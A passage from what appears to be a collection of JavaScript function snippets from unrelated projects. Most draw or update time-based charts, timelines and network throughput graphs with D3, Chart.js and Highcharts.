gEnter.append('line')\n .attr('class', 'horizontal')\n .attr({x1: 0, x2: width})\n .attr('transform', 'translate(0,' + height + ')');\n lastPrice = gEnter.append('text')\n .attr('class', 'lastPrice')\n .style('text-anchor', 'middle')\n .attr('x', (width + margin.left) / 2);\n }", "function Time_Chart_Draw() {\n if (jsondata != undefined) {\n var refresh = false;\n $('input[name=\"temporal\"]:checked').each(function () {\n\n if (this.value == \"point-in-time\" && event.currentTarget.id == \"point-in-time-slider\") {\n refresh = true;\n } else if (this.value == \"range-in-time\" && event.currentTarget.id == \"range-in-time-slider\") {\n refresh = true;\n }\n });\n\n if (!refresh) {\n return;\n }\n setStrtandEndYr();\n //looping through the output controls and getting the required data and populating the charts\n $('.OutputControl').each(function () {\n var controlID = $(this).attr('id');\n drawChart(controlID);\n });\n\n drawAllIndicators();\n }\n}", "function plotChart_time(uberPool_time, uberX_time, uberXL_time, black_time,\n\t\t\t\t\tlyft_line_time, lyft_time, lyft_plus_time, lyft_lux_time) {\n\tconsole.log(\"--jiayi time----------\")\n\tconsole.log(uberPool_time, uberX_time, uberXL_time, black_time,\n\t\t\t\t\tlyft_line_time, lyft_time, lyft_plus_time, lyft_lux_time)\n\tdocument.getElementById('uberPool_time').value = uberPool_time;\n document.getElementById('uberX_time').value = uberX_time;\n document.getElementById('uberXL_time').value = uberXL_time;\n document.getElementById('black_time').value = black_time;\n// document.getElementById('uberlower_time').value = Math.min(uberPool_time, uberX_time, uberXL_time, black_time);\n\n document.getElementById('lyft_line_time').value = lyft_line_time;\n document.getElementById('lyft_time').value = lyft_time;\n document.getElementById('lyft_plus_time').value = lyft_plus_time;\n document.getElementById('lyft_lux_time').value = lyft_lux_time;\n// document.getElementById('lyftlower_time').value = Math.min(lyft_line_time, lyft_time, lyft_plus_time, lyft_lux_time);\n\n $('#tripmap').show();\n\t$('#rateChart').show();\n}", "_processTick(tickTime, ticks) {\n // do the loop test\n if (this._loop.get(tickTime)) {\n if (ticks >= this._loopEnd) {\n this.emit(\"loopEnd\", tickTime);\n this._clock.setTicksAtTime(this._loopStart, tickTime);\n ticks = this._loopStart;\n this.emit(\"loopStart\", tickTime, this._clock.getSecondsAtTime(tickTime));\n this.emit(\"loop\", tickTime);\n }\n }\n // handle swing\n if (this._swingAmount > 0 &&\n ticks % this._ppq !== 0 && // not on a downbeat\n ticks % (this._swingTicks * 2) !== 0) {\n // add some swing\n const progress = (ticks % (this._swingTicks * 2)) / (this._swingTicks * 2);\n const amount = Math.sin(progress * Math.PI) * this._swingAmount;\n tickTime +=\n new TicksClass(this.context, (this._swingTicks * 2) / 3).toSeconds() * amount;\n }\n // invoke the timeline events scheduled on this tick\n enterScheduledCallback(true);\n this._timeline.forEachAtTime(ticks, (event) => event.invoke(tickTime));\n enterScheduledCallback(false);\n }", "function updateChart() {\n \n line.selectAll('.circle1').remove()\n line.selectAll('.circle2').remove()\n line.selectAll('.circle3').remove()\n // What are the selected boundaries?\n extent = d3.event.selection\n\n // If no selection, back to initial coordinate. Otherwise, update X axis domain\n if(!extent){\n if (!idleTimeout) return idleTimeout = setTimeout(idled, 350); // This allows to wait a little bit\n x.domain([ 4,8])\n }else{\n x.domain([ x.invert(extent[0]), x.invert(extent[1]) ])\n line.select(\".brush\").call(brush.move, null) \n }\n\n // Update axis and line position\n xAxis.transition().duration(1000).call(d3.axisBottom(x))\n if(checkline1){\n line.select('.line1')\n .transition()\n .duration(1000)\n .attr(\"d\", areaGenerator1)\n\n line.select('.line1')\n .transition()\n .duration(1000)\n .attr(\"d\", d3.line()\n .x(function(d,i){return x(d.Time2)})\n .y(function(d,i){return y(d.Sub_metering_1)}))\n \n line.selectAll(\"myCircles\")\n .data(data)\n .enter()\n .append(\"circle\")\n .attr(\"class\", \"circle1\")\n .attr(\"fill\", \"red\")\n .attr(\"stroke\", \"none\")\n .attr(\"cx\", function(d) { return x(d.date) })\n .attr(\"cy\", function(d) { return y(d.Sub_metering_1) })\n .attr(\"r\", 2)\n }\n if(checkline2){\n line.select('.line2')\n .transition()\n .duration(1000)\n .attr(\"d\", areaGenerator2)\n line.select('.line2')\n .transition()\n .duration(1000)\n .attr(\"d\", d3.line()\n .x(function(d,i){return x(d.Time2)})\n .y(function(d,i){return y(d.Sub_metering_2)}))\n line.selectAll(\"myCircles\")\n .data(data)\n .enter()\n .append(\"circle\")\n .attr(\"class\", \"circle2\")\n .attr(\"fill\", \"green\")\n .attr(\"stroke\", \"none\")\n .attr(\"cx\", function(d) { return x(d.date) })\n .attr(\"cy\", function(d) { return y(d.Sub_metering_2) })\n .attr(\"r\", rayon)\n }\n \n if(checkline3){\n line.select('.line3')\n .transition()\n .duration(1000)\n .attr(\"d\", areaGenerator3)\n\n line.select('.line3')\n .transition()\n .duration(1000)\n .attr(\"d\", d3.line()\n .x(function(d,i){return x(d.Time2)})\n .y(function(d,i){return y(d.Sub_metering_3)}))\n line.selectAll(\"myCircles\")\n .data(data)\n .enter()\n .append(\"circle\")\n .attr(\"class\", \"circle3\")\n .attr(\"fill\", \"blue\")\n .attr(\"stroke\", \"none\")\n .attr(\"cx\", function(d) { return x(d.date) })\n .attr(\"cy\", function(d) { return y(d.Sub_metering_3) })\n .attr(\"r\", 2)\n }\n \n }", "function tick() {\n // get the current time\n now = new Date();\n\n // for the pos/neg lines for every candidate that we have\n for (id in groups) {\n ['pos', 'neg'].forEach(function(type) {\n // pull in the staged value to the graph\n groups[id][type].data.push(groups[id][type].val);\n // generate random data - handy for testing without a data source\n // groups[id][type].data.push(20 + Math.random() * 100);\n // compute the new path now that we have a new datapoint\n groups[id][type].path.attr('d', line);\n });\n }\n\n // move the x domain allong with time\n x.domain([now - (n - 2) * duration, now - duration]);\n\n // for every candidate\n for (id in groups) {\n // update the x-axis with our new domain\n // use a transition to smooth the appearance\n groups[id].xAxis.transition()\n .duration(duration)\n .ease('linear')\n .call(x.axis);\n\n if (id === 'clinton') {\n // smoothly transition each path with time\n // at the end of the first candidate's transition, call 'tick' again\n groups[id].paths.attr('transform', null)\n .transition()\n .duration(duration)\n .ease('linear')\n .attr('transform', 'translate(' + x(now - (n - 2) * duration) + ')')\n .each('end', tick);\n } else {\n // smoothly transition each path with time\n // don't call tick here, as we called it at the end of the first candidate\n groups[id].paths.attr('transform', null)\n .transition()\n .duration(duration)\n .ease('linear')\n .attr('transform', 'translate(' + x(now - (n - 2) * duration) + ')')\n }\n\n // for each candidate's pos/neg data, move the oldest point off of the graph\n ['pos', 'neg'].forEach(function(type) {\n groups[id][type].data.shift();\n });\n }\n}", "function doChunk() {\nvar time = +new Date(),\n i,\n len = $spans.length,\n $span,\n stringdata,\n stringlabels,\n stringsubindex,\n subindex_colors = [\"#FFCD00\", \"#6DF5D7\", \"#BE8FE7\"],\n colums_color,\n labels = new Array(),\n arr,\n data,\n chart;\n\n for (i=0; i<len; i++) {\n $span = $($spans[i]);\n stringlabels = $span.data('labels');\n stringsubindex = $span.data('subindex');\n stringdata = $span.data('sparkline');\n arr = stringdata.split('; ');\n labels = [\" \"];\n labels = labels.concat(stringlabels.split(','));\n switch(stringsubindex){\n case \"readiness\": \t colums_color = subindex_colors[0];\n break;\n case \"implementation\":colums_color = subindex_colors[1];\n break;\n case \"impact\": colums_color = subindex_colors[2];\n break;\n }\n\n //var labels = new Function(\"return [\" + stringlabels + \"];\")();\n //var labels = (new Function(\"return [\" + stringlabels+ \"];\")());\n //console.log(labels);\n data = $.map(arr[0].split(','), parseFloat);\n //console.log(data);\n //labels = $.map(stringlabels.split(','));\n chart = {};\n\n if (arr[1]) {\n chart.type = arr[1];\n }\n $span.highcharts('SparkLine', {\n series: [{\n data: data,\n color:colums_color,\n pointStart: 1\n }],\n xAxis: {\n type: 'category',\n // minRange: 1,\n categories: labels,//countries,\n lineColor:colums_color\n /*labels: {\n enabled:false\n }*/\n },\n tooltip: {\n headerFormat: '<span style=\"font-size: 10px\">{point.x}:</span>',\n pointFormat: '<b>{point.y}</b>'\n },\n chart: chart\n });\n\n n += 1;\n\n // If the process takes too much time, run a timeout to allow interaction with the browser\n if (new Date() - time > 500) {\n $spans.splice(0, i + 1);\n setTimeout(doChunk, 0);\n break;\n }\n\n // Print a feedback on the performance\n //if (n === fullLen) {\n // $('#result').html('Generated ' + fullLen + ' sparklines in ' + (new Date() - start) + ' ms');\n //}\n }\n}", "function updateChart(id, parse) {\n updateLegend()\n\n var myLineChart = producersIds[id].myLineChart\n myLineChart.destroy();\n console.log(producersIds, '____________________________________________')\n var time = convertDate(parse.time)\n var lineChartData = producersIds[id].data\n //push newly received data (time & data)\n var light = parse.light ? 100 : 0\n lineChartData.datasets[0].data.push(parse.volume);\n lineChartData.datasets[1].data.push(light);\n lineChartData.datasets[2].data.push(parse.temperature);\n if (minor) {\n for (var i = 0; i < (lineChartData.labels.length - graphDimension); i++) {\n lineChartData.datasets[0].data.shift()\n lineChartData.datasets[1].data.shift()\n lineChartData.datasets[2].data.shift()\n lineChartData.labels.shift();\n }\n }\n\n lineChartData.labels.push(time);\n //if longer than graphDimension, remove the first one\n if (lineChartData.datasets[0].data.length > graphDimension || lineChartData.datasets[1].data.length > graphDimension || lineChartData.datasets[2].data.length > graphDimension) {\n lineChartData.datasets[0].data.shift();\n lineChartData.datasets[1].data.shift();\n lineChartData.datasets[2].data.shift();\n lineChartData.labels.shift();\n }\n var myLine = producersIds[id].myLine\n //draw it\n myLine.Line(lineChartData);\n createIdSelector()\n\n}", "function drawTimeline() {\n for(var k = 0;k < listArrStations.length;k++){\n var sizeList = listArrStations[k].length;\n\n for (var i = 0; i < times.length-1; i++) {\n // Main line\n layer0.append(\"line\")\n .attr(\"id\", 'timeline' + k + '_' + i)\n .attr(\"x1\", i * hourSpace)\n .attr(\"y1\", listArrStations[k][0].y)\n .attr(\"x2\", i * hourSpace)\n .attr(\"y2\", listArrStations[k][sizeList-1].y)\n .attr(\"hour\",times[i])\n .attr(\"minutes\",0)\n .attr(\"fill\", \"none\")\n .attr(\"stroke-width\", 1)\n .attr(\"stroke\", \"gray\");\n // .on(\"mouseover\", gridMouseover)\n // .on(\"mouseout\",gridMouseout);\n\n for (var j = 1; j < 6; j++) {\n // Minor line\n layer0.append(\"line\")\n .attr(\"x1\", i * hourSpace + j * tenMinSpace)\n .attr(\"hour\",times[i])\n .attr(\"minutes\",j * 10)\n .attr(\"y1\", listArrStations[k][0].y)\n .attr(\"x2\", i * hourSpace + j * tenMinSpace)\n .attr(\"y2\", listArrStations[k][sizeList-1].y)\n .attr(\"fill\", \"none\")\n .attr(\"stroke-width\", 0.5)\n .attr(\"stroke\", function () { return j != 3 ? \"lightgray\" : \"lightgreen\"; });\n // .on(\"mouseover\", mouseoverTrainLine);\n // .on(\"mouseover\", gridMouseover)\n // .on(\"mouseout\",gridMouseout);\n }\n }\n }\n for (var i = 0; i < times.length; i++) {\n // Display time\n var text = layer0.append(\"text\")\n .attr(\"id\", 'timelinetext' + i)\n .text(times[i])\n .attr(\"x\", i * hourSpace)\n .attr(\"y\", -50)\n .attr(\"hour\",times[i])\n .style(\"font-size\", 20)\n .style(\"font-family\", \"Segoe UI\")\n .style(\"text-anchor\", \"middle\");\n // .on(\"mouseover\", gridMouseover)\n // .on(\"mouseout\",gridMouseout);\n }\n // for (var i = 0; i < times.length - 1; i++)\n // for (var j = 1; j < 6; j++) {\n // // Minor line\n // var line = layer0.append(\"line\")\n // .attr(\"x1\", i * hourSpace + j * tenMinSpace)\n // .attr(\"hour\",times[i])\n // .attr(\"minutes\",j * 10)\n // .attr(\"y1\", 0)\n // .attr(\"x2\", i * hourSpace + j * tenMinSpace)\n // .attr(\"y2\", viewerHeight)\n // .attr(\"fill\", \"none\")\n // .attr(\"stroke-width\", 0.5)\n // .attr(\"stroke\", function () { return j != 3 ? \"lightgray\" : \"lightgreen\"; })\n // // .on(\"mouseover\", mouseoverTrainLine);\n // .on(\"mouseover\", gridMouseover)\n // .on(\"mouseout\",gridMouseout);\n // }\n}", "function responseTimeAnalysis() {\r\n\t// 2d array to store scatter chart data\r\n\tvar scatterChartData = new Array();\r\n\tvar chartLabels = [ \"Zipcode\", \"Response Time\" ];\r\n\tscatterChartData.push(chartLabels);\r\n\t// add all the data points to the chart\r\n\t//x-axis is zipcode, y-axis is diffirence between\r\n\t//time of call received and dispatch time\r\n\tfor (var i = 1; i < data.length; i++) {\r\n\t\tvar dataPoint = new Array();\r\n\t\tdataPoint.push(parseInt(data[i][17]));\r\n\t\tdataPoint\r\n\t\t\t\t.push((Date.parse(data[i][8]) - Date.parse(data[i][6])) / 1000);\r\n\t\tscatterChartData.push(dataPoint);\r\n\t}\r\n\t//call the function to draw the chart\r\n\tdrawChart4(scatterChartData);\r\n}", "function drawAnimatedChart(longestChannelLength, channelsPerSet, baseURLS, pageSize, nrOfPages,\t//dataSetPaths, \n\t\t\t\t\t\t timeSetPaths, step, normalizations, number_of_visible_points, nan_value_found, \n\t\t\t\t\t\t noOfChannels, totalLength, doubleView, channelLabels) {\n if (document.getElementById('ctrl-input-scale') == undefined) {\n \tisSmallPreview = true;\n }\n isDoubleView = doubleView;\n if (isDoubleView == false) {\n\t\t// Just use parent section width and height. For width remove some space for the labels to avoid scrolls\n\t\t// For height we have the toolbar there. Using 100% does not seem to work properly with FLOT. \t\t\t\t \t\n \t$('#EEGcanvasDiv').width($('#EEGcanvasDiv').parent().width() - 40);\n \t$('#EEGcanvasDiv').height($('#EEGcanvasDiv').parent().height() - 100);\n }\n // dataSetUrls = $.parseJSON(dataSetPaths);\n baseDataURLS = $.parseJSON(baseURLS);\n nrOfPagesSet = $.parseJSON(nrOfPages);\n dataPageSize = pageSize;\n chanDisplayLabels = $.parseJSON(channelLabels);\n noOfChannelsPerSet = $.parseJSON(channelsPerSet);\n timeSetUrls = $.parseJSON(timeSetPaths);\n maxChannelLength = parseInt(pageSize);\n AG_normalizationSteps = $.parseJSON(normalizations);\n setMaxDataFileIndex(nrOfPagesSet);\n AG_numberOfVisiblePoints = parseInt(number_of_visible_points);\n if (AG_numberOfVisiblePoints > maxChannelLength) {\n \tAG_numberOfVisiblePoints = maxChannelLength;\n }\n targetVerticalLinePosition = AG_numberOfVisiblePoints * procentualLinePosition;\n totalNumberOfChannels = noOfChannels;\n totalTimeLength = totalLength;\n if (nan_value_found == \"True\") {\n nanValueFound = true;\n }\n AG_computedStep = step;\n if (isSmallPreview == false) {\n \tdrawSliderForScale();\n \tdrawSliderForAnimationSpeed();\n }\n //If there is any information stored in 'AG_submitableSelectedChannels' then the call to drawAnimatedChart\n //came from a refrsh with a different page size. In this case there is no need to update the channel list.\n if (AG_submitableSelectedChannels.length == 0) {\n var defaultChannels = totalNumberOfChannels;\n if (defaultChannels > DEFAULT_MAX_CHANNELS) {\n defaultChannels = DEFAULT_MAX_CHANNELS;\n }\n for (var i = 0; i < defaultChannels; i++) {\n addChannelToChannelsList(i);\n } \t\n }\n\n submitSelectedChannels(false);\n}", "function addTicks() {\n\t\t// Add a tick for preparation time\n\t\tif ( times[0].time > 0 && elapsed < times[0].time ) {\n\t\t\tdrawTick( times[0].time );\n\t\t}\n\t\tif ( times[2].time > 0 && elapsed < (totalTime - times[2].time) ) {\n\t\t\tdrawTick( totalTime - times[2].time );\n\t\t}\n\t}", "function buildChart() {\n barChartData = {\n labels: [],\n datasets: []\n };\n var calculations = [];\n var labelSetup = [];\n for (i in currentChart.outlets) {\n calculations.push(calculateData(currentChart.outlets[i]));\n }\n var lowerBound = moment(currentChart.timePeriod[0]);\n while (lowerBound.isSameOrBefore(currentChart.timePeriod[1])) {\n labelSetup.push(lowerBound.format('YYYY-MM-DD'));\n lowerBound = lowerBound.add(1, 'days');\n }\n for (j in calculations) { //sep method\n switch (currentChart.type) {\n case 'bar':\n case 'doughnut':\n var dataList = {\n label: null,\n backgroundColor: getRandomColor(),\n borderColor: '#000000',\n data: []\n };\n break;\n case 'radar':\n case 'line':\n var dataList = {\n label: null,\n borderColor: getRandomColor(),\n data: []\n };\n break;\n default:\n console.log(\"something went wrong\");\n break;\n }\n for (k in outlets) {\n if (outlets[k].id === currentChart.outlets[j]) {\n dataList.label = outlets[k].name;\n }\n }\n for (var key in calculations[j]) {\n if (calculations[j].hasOwnProperty(key)) {\n if (barChartData.labels.indexOf(key) === -1) {\n if (typeof key !== \"undefined\") {\n barChartData.labels.push(key);\n }\n }\n dataList.data.push(calculations[j][key]);\n }\n }\n\n barChartData.datasets.push(dataList);\n }\n myChart.destroy();\n myChart = new Chart(ctx, {\n type: currentChart.type,\n data: barChartData,\n options: {\n responsive: true,\n scales: {\n yAxes: [{\n ticks: {\n beginAtZero:true\n }\n }]\n }\n }\n });\n}", "function updateCanvas(timePeriods) {\r\n\r\n var i, recX, recLen, currentDate, currentMins, currentX;\r\n\r\n timeContext.clearRect(0, 0, timeCanvas.width, timeCanvas.height);\r\n\r\n for (i = 0; i < timePeriods.length; i += 1) {\r\n\r\n recX = timePeriods[i].startMins * timeCanvas.width / 1440; // width / 1440 minutes\r\n recLen = (timePeriods[i].endMins - timePeriods[i].startMins) * timeCanvas.width / 1440;\r\n\r\n timeContext.fillStyle = \"#FF0000\";\r\n timeContext.fillRect(recX, 0, recLen, timeCanvas.height);\r\n\r\n }\r\n\r\n // 6am, midday and 6pm markers.\r\n timeContext.fillStyle = \"#000000\";\r\n timeContext.fillRect(0.25 * timeCanvas.width, 0, 0.002 * timeCanvas.width, timeCanvas.height);\r\n timeContext.fillRect(0.5 * timeCanvas.width, 0, 0.002 * timeCanvas.width, timeCanvas.height);\r\n timeContext.fillRect(0.75 * timeCanvas.width, 0, 0.002 * timeCanvas.width, timeCanvas.height);\r\n\r\n currentDate = new Date();\r\n currentMins = (currentDate.getUTCHours() * 60) + currentDate.getUTCMinutes();\r\n currentX = currentMins * timeCanvas.width / 1440;\r\n\r\n timeContext.fillStyle = \"#00AF00\";\r\n timeContext.fillRect((currentX - 1), 0, 0.004 * timeCanvas.width, timeCanvas.height);\r\n\r\n}", "drawLines() {\n // Early bailout for timeaxis without start date\n if (!this.client.timeAxis.startDate) {\n return;\n }\n\n // We cannot rely on timeAxisViewModel because rendered header may not include full top header.\n // This means we should generate whole top level tick and then iterate over ticks, calculating lines position\n // depending on header config\n const me = this,\n { client } = me,\n { timeAxis } = client,\n axisStart = timeAxis.startDate,\n viewModel = client.timeAxisViewModel,\n tickSize = viewModel.tickSize,\n element = client.backgroundCanvas,\n canvas = document.createElement('canvas'),\n ctx = canvas.getContext('2d'),\n linesForLevel = viewModel.columnLinesFor,\n // header to draw lines for\n targetHeader = viewModel.headerConfig[linesForLevel],\n headers = viewModel.headers,\n // header which is used to draw major lines\n upperHeader = headers[headers.indexOf(targetHeader) - 1] || headers[0],\n // header defining ticks\n lowerHeader = headers[headers.length - 1],\n // when unit is year we should use 1 as increment\n startDate = timeAxis.floorDate(\n axisStart,\n false,\n upperHeader.unit,\n upperHeader.unit === 'year' ? 1 : upperHeader.increment || 1\n ),\n endDate = DateHelper.getNext(startDate, upperHeader.unit, upperHeader.increment || 1, timeAxis.weekStartDay),\n // we rendered one upper header and need to calculate how many ticks fit in it\n ticksInHeader =\n Math.round(DateHelper.getDurationInUnit(startDate, endDate, lowerHeader.unit)) / (lowerHeader.increment || 1),\n nbrLinesToDraw =\n Math.round(DateHelper.getDurationInUnit(startDate, endDate, targetHeader.unit)) / (targetHeader.increment || 1),\n // shows how many ticks should we skip before drawing next line\n ratio = ticksInHeader / nbrLinesToDraw;\n\n if (client.isHorizontal) {\n if (axisStart) {\n const doUnitsAlign = headers.length > 1 && DateHelper.doesUnitsAlign(upperHeader.unit, targetHeader.unit),\n offsetDate = doUnitsAlign\n ? startDate\n : timeAxis.floorDate(axisStart, false, targetHeader.unit, targetHeader.increment),\n // TODO: isContinuous check solved the issue I was seeing but not very generic\n offset = !timeAxis.isContinuous\n ? 0\n : (DateHelper.getDurationInUnit(offsetDate, axisStart, lowerHeader.unit, true) / timeAxis.increment) *\n tickSize,\n // this is position from left side of the canvas to draw first line, otherwi\n startPos = 10,\n height = 20;\n\n DomHelper.removeEachSelector(element, '.b-column-line-major');\n\n let isMajor = false,\n majorHeaderIsRegular = true;\n\n if (\n targetHeader !== upperHeader &&\n doUnitsAlign &&\n lowerHeader.unit === 'day' &&\n DateHelper.compareUnits(upperHeader.unit, 'month') !== -1\n ) {\n // This condition means, that major lines are irregular, e.g. when lower level is days and upper is\n // months. Since months have different duration, we cannot safely repeat images\n majorHeaderIsRegular = false;\n timeAxis.forEachAuxInterval(upperHeader.unit, upperHeader.increment, (start, end) => {\n DomHelper.append(element, {\n tag: 'div',\n className: 'b-column-line-major',\n style: `left:${viewModel.getPositionFromDate(end) - 1}px;`\n });\n });\n }\n\n // hack for FF to not crash when trying to create too wide canvas.\n canvas.width = Math.min(ticksInHeader * 2 * tickSize, 32767);\n canvas.height = height;\n ctx.translate(-0.5, -0.5);\n ctx.lineWidth = 2;\n\n for (let i = 0; i < nbrLinesToDraw; i++) {\n // Only first interval may be major\n if (i === 0) {\n // Filtered time axis should not have any major lines\n isMajor = upperHeader !== targetHeader && doUnitsAlign && majorHeaderIsRegular && timeAxis.isContinuous;\n } else {\n isMajor = false;\n }\n\n const tickStyle = (isMajor && me.majorTickStyle) || (!isMajor && me.tickStyle);\n if (tickStyle !== 'solid') {\n switch (tickStyle) {\n case 'dashed':\n ctx.setLineDash([6, 4]);\n break;\n case 'dotted':\n ctx.setLineDash([2, 3]);\n break;\n }\n }\n\n ctx.beginPath();\n ctx.strokeStyle = isMajor ? me.majorTickColor : me.tickColor;\n\n // draw ticks\n ctx.moveTo(i * ratio * tickSize * 2 + startPos - 1, 0);\n ctx.lineTo(i * ratio * tickSize * 2 + startPos - 1, height + 2);\n ctx.stroke();\n }\n\n // use as background image\n element.style.backgroundImage = `url(${canvas.toDataURL()})`;\n element.style.backgroundSize = `${canvas.width / 2}px`;\n element.style.backgroundPositionX = `${-(startPos / 2 + offset)}px`;\n }\n } else {\n // hack for FF to not crash when trying to create too wide canvas.\n canvas.width = client.timeAxisColumn.resourceColumns.columnWidth * 2;\n canvas.height = 2;\n ctx.translate(-0.5, -0.5);\n ctx.lineWidth = 2;\n\n if (axisStart) {\n DomHelper.removeEachSelector(element, '.b-column-line-major');\n\n // Major lines always as divs to not get so large image\n if (targetHeader !== upperHeader) {\n timeAxis.forEachAuxInterval(upperHeader.unit, upperHeader.increment, (start, end) => {\n DomHelper.append(element, {\n tag: 'div',\n className: 'b-column-line-major',\n style: `top:${viewModel.getPositionFromDate(end) - 1}px;`\n });\n });\n }\n\n if (me.tickStyle !== 'solid') {\n switch (me.tickStyle) {\n case 'dashed':\n ctx.setLineDash([6, 4]);\n break;\n case 'dotted':\n ctx.setLineDash([2, 3]);\n break;\n }\n }\n\n const height = ratio * tickSize * 2;\n\n canvas.height = height;\n\n ctx.beginPath();\n ctx.strokeStyle = me.tickColor;\n ctx.lineWidth = 2;\n\n // draw ticks\n ctx.moveTo(0, height - 1);\n ctx.lineTo(canvas.width + 2, height - 1);\n ctx.stroke();\n }\n\n ctx.beginPath();\n ctx.strokeStyle = me.tickColor;\n\n // draw ticks\n ctx.moveTo(canvas.width - 1, 0);\n ctx.lineTo(canvas.width - 1, canvas.height + 2);\n ctx.stroke();\n\n // use as background image\n element.style.backgroundImage = `url(${canvas.toDataURL()})`;\n element.style.backgroundSize = `${canvas.width / 2}px`;\n element.style.backgroundPositionX = '0';\n }\n }", "function render(data) {\n // different scales depending on the data\n scaleX.domain([0,data.length-1]);\n // scaleY.domain(d3.extent(data, d=>{return d[\"time\"];}));\n scaleY.domain([1,4000]);\n if (ots) {\n scaleR.range([1,(scaleX(2)-scaleX(1))/2-2])\n .domain(d3.extent(data, d=>{return d.bus}));\n } else {\n scaleR.range([1,(scaleX(2)-scaleX(1))/2-2])\n .domain(d3.extent(data, d=>{return d.int_vars+d.bin_vars}));\n }\n\n // define the axis\n var axisTime = d3.axisLeft(scaleY)\n axisTime.tickFormat(function(d) {\n return this.parentNode.nextSibling\n ? d\n : d + \" seconds\";\n });\n\n if (ots) {\n tip = d3.tip().attr('class', 'd3-tip').html(function(d) {\n return \"<span>\"+d.instance+\", \"+Math.round(d.time)+\" sec, \"+(d.bus)+\" bus</span>\"; \n });\n } else {\n tip = d3.tip().attr('class', 'd3-tip').html(function(d) {\n return \"<span>\"+d.instance+\", \"+Math.round(d.time)+\" sec, \"+(d.bin_vars+d.int_vars)+\" dvars</span>\"; \n });\n }\n /* Invoke the tip in the context of your visualization */\n g.call(tip)\n \n // the key of the data is the instance for updating\n let timeCircles = g.selectAll(\".timeCircles\").data(data, d => { return d.instance; });\n\n timeCircles.enter().append(\"circle\")\n .attr(\"class\", \"timeCircles\")\n .on('mouseover', tip.show)\n .on('mouseout', tip.hide)\n .merge(timeCircles) // enter + update\n .transition()\n .attr(\"cx\", (d,i) => {return scaleX(i);})\n .attr(\"cy\", d => {return scaleY(d[\"time\"]);})\n .attr(\"r\", d => {return getRadius(d)})\n .attr(\"fill\", d=> {return getColor(d.status)})\n .attr(\"id\", d => {return \"circle-\"+d.instance;})\n \n\n timeCircles.exit().remove();\n \n \n // create legend\n createLegend(data);\n axis.call(axisTime);\n}", "function clock() {\n clockdata = globaldata.slice(s, xrange)\n\n clockdata.forEach(zz => {\n\n if (zz['minute'] < 10) {\n minute.push(`:0${zz['minute']}`)\n }\n else {\n minute.push(`:${zz['minute']}`)\n }\n \n });\n\n drawline()\n}", "function updateTimescale() {\n var lineDataByBrand = captureLineData();\n\n d3.selectAll('.line')\n .transition()\n .duration(1000)\n .attr({ 'd': function(d) { return path(d); } });\n }", "function refreshMainGraph(data){\n\n\n //Throughput\n if (chart_type[\"main\"] == 0){\n\n \tsentpoints = []\n\t recvpoints = []\n\n\t\tfor (k = data.timesteps[0]+timestep; k < data.timesteps[data.timesteps.length-1]+timestep; k=k+timestep){\n\t\t\tupbits = 0 \n \t\tdownbits = 0\n for (i = 0; i < data.clients.length;i++){\n \tif (data.clients[i].mac != data.monitor_info.mac){\n\t for (j = 0; j < data.clients[i].report.length;j++){\n\t\t\t if (data.clients[i].report[j][0] > k-timestep && data.clients[i].report[j][0] <= k){\n\t upbits += Number(data.clients[i].report[j][1][\"upsize\"])\n\t downbits += Number(data.clients[i].report[j][1][\"downsize\"])\n\t }\n\t else if (data.clients[i].report[j][0] > k){\n\t break; //Go to next client and don't waste your time.\n\t }\n\t }\n\t }\n\t\t }\n\n\t\t \t//Bits/5seconds = Bits/Second \n\t\t \tupbits = (upbits*0.000001)/timestep\n\t\t \tdownbits = (downbits*0.000001)/timestep\n\n\t\t sentpoints.push({x: k*1000, y: upbits/5})\n recvpoints.push({x: k*1000, y: downbits/5})\n\t\t}\n\n\n chartdata = {\n datasets: [\n {label: 'Uplink Throughput',\n data: sentpoints,\n fill: false,\n borderColor: colors.red,\n pointRadius: 3},\n\n {label: 'Downlink Throughput',\n data: recvpoints,\n fill: false,\n borderColor: colors.blue,\n pointRadius: 3}\n ]\n }\n\n opts = jQuery.extend(true, {}, options);\n opts.scales.yAxes[0].scaleLabel.labelString = \"Average Throughput (Mbits/s)\"\n\n try{charts[\"main\"].destroy()}\n catch(err){/*Don't Worry be Happy*/}\n\n charts[\"main\"] = new Chart(\"mainChart\", {\n type: 'line',\n data: chartdata,\n options: opts\n });\n }\n\n //Sent/Recv Graph\n else if (chart_type[\"main\"] == 1){ \n\n sentpoints = []\n recvpoints = []\n\n //Highly unscalable. But its late and I just want this to work.\n for (k = data.timesteps[0]+timestep; k < data.timesteps[data.timesteps.length-1]+timestep; k=k+timestep){\n \n ys = 0;\n yr = 0;\n\n for (i = 0; i < data.clients.length;i++){\n \tif (data.clients[i].mac != data.monitor_info.mac){\n\t for (j = 0; j < data.clients[i].report.length;j++){\n\n\t if (data.clients[i].report[j][0] > k-timestep && data.clients[i].report[j][0] <= k){\n\t ys += data.clients[i].report[j][1][\"sent\"]\n\t yr += data.clients[i].report[j][1][\"recv\"]\n\t }\n\t else if (data.clients[i].report[j][0] > k){\n\t break; //Go to next client and don't waste your time.\n\t }\n\t }\n\t }\n\n }\n\n sentpoints.push({x: k*1000, y: ys})\n recvpoints.push({x: k*1000, y: yr})\n \n }\n\n //console.info(sentpoints)\n //console.info(recvpoints)\n\n chartdata = {\n datasets: [\n {label: 'Sent',\n data: sentpoints,\n fill: false,\n borderColor: colors.red,\n pointRadius: 3},\n\n {label: 'Recieved',\n data: recvpoints,\n fill: false,\n borderColor: colors.blue,\n pointRadius: 3}\n ]\n }\n\n try{charts[\"main\"].destroy()}\n catch(err){/*Don't Worry be Happy*/}\n\n charts[\"main\"] = new Chart(\"mainChart\", {\n type: 'line',\n data: chartdata,\n options: options\n });\n }\n\n //Dropped Packets\n else if (chart_type[\"main\"] == 2){\n\n \tsentpoints = []\n\t recvpoints = []\n\n\t\tfor (k = data.timesteps[0]+timestep; k < data.timesteps[data.timesteps.length-1]+timestep; k=k+timestep){\n\t\t\tupdrops = 0 \n \t\tdowndrops = 0\n for (i = 0; i < data.clients.length;i++){\n \tif (data.clients[i].mac != data.monitor_info.mac){\n\t for (j = 0; j < data.clients[i].report.length;j++){\n\t\t\t if (data.clients[i].report[j][0] > k-timestep && data.clients[i].report[j][0] <= k){\n\t updrops += Number(data.clients[i].report[j][1][\"updrops\"])\n\t downdrops += Number(data.clients[i].report[j][1][\"downdrops\"])\n\t }\n\t else if (data.clients[i].report[j][0] > k){\n\t break; //Go to next client and don't waste your time.\n\t }\n\t }\n\t }\n\t\t }\n\n\n\t\t sentpoints.push({x: k*1000, y: updrops})\n recvpoints.push({x: k*1000, y: downdrops})\n\t\t}\n\n\n chartdata = {\n datasets: [\n {label: 'Upstream Retransmitions',\n data: 